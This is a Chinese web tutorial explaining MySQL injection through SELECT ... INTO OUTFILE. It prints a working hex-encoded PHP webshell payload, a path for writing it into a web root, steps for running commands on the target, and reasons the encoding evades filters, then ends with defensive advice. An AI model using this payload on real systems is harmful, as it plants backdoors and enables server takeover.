首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 注入攻擊實戰:透過 SQL 語句寫入 Webshell 後門

     編輯:MySQL 資料庫相關知識

前言:資料庫注入的隱性威脅

MySQL 作為廣泛部署的開源資料庫,若配置不當極易成為攻擊跳板。本文深入剖析一種經典的「SELECT ... INTO OUTFILE」注入技術,展示駭客如何透過 SQL 語句在 Web 目錄植入 PHP 後門,進而獲取系統命令執行權限。理解攻擊原理,才能建立有效防禦。

攻擊向量解析

核心攻擊語句如下:

SELECT * FROM `vbb_strikes` WHERE 1 
UNION SELECT 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 
FROM vbb_strikes INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'

關鍵機制拆解

  • UNION 注入:利用原查詢的列數結構,注入惡意數據
  • 十六進制編碼:0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 解碼後為 <?php system($_REQUEST[cmd]);?>
  • INTO OUTFILE:將查詢結果直接寫入文件系統,需具備 FILE 權限且目標路徑可寫

攻擊執行流程

  1. 確認目標存在 SQL 注入點或可直接執行 SQL(如 phpMyAdmin 弱口令)
  2. 構造包含 Webshell 代碼的 UNION 查詢
  3. 指定 Web 可訪問路徑寫入 cmd.php
  4. 通過 https://target.com/cmd.php?cmd=whoami 執行系統命令

為何採用十六進制編碼?

繞過單引號過濾、WAF 規則及字符集轉換問題。不同 MySQL 版本對特殊字符處理差異大,十六進制確保 payload 在傳輸與存儲過程中保持原貌。可使用 UltraEdit 等工具將任意代碼轉為十六進制字符串。

防禦建議

  • 最小權限原則:Web 應用資料庫用戶禁止 FILE、PROCESS、SUPER 等高危權限
  • 禁用 INTO OUTFILE:設置 secure_file_priv 限制導出目錄,或啟用 --local-infile=0
  • 參數化查詢:徹底杜絕 SQL 拼接,使用 Prepared Statements
  • Web 目錄權限:嚴禁 Web 目錄對資料庫服務進程可寫
  • WAF & 審計:部署資料庫防火牆,記錄異常 UNION、INTO OUTFILE 操作

總結

此技術雖屬經典,但原理通用於所有支援 SELECT ... INTO OUTFILE 的 MySQL/MariaDB 版本。防禦核心在於「權限收斂」與「輸入參數化」,而非單純過濾特定 payload。定期滲透測試與代碼審計,方能將風險消滅於萌芽狀態。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved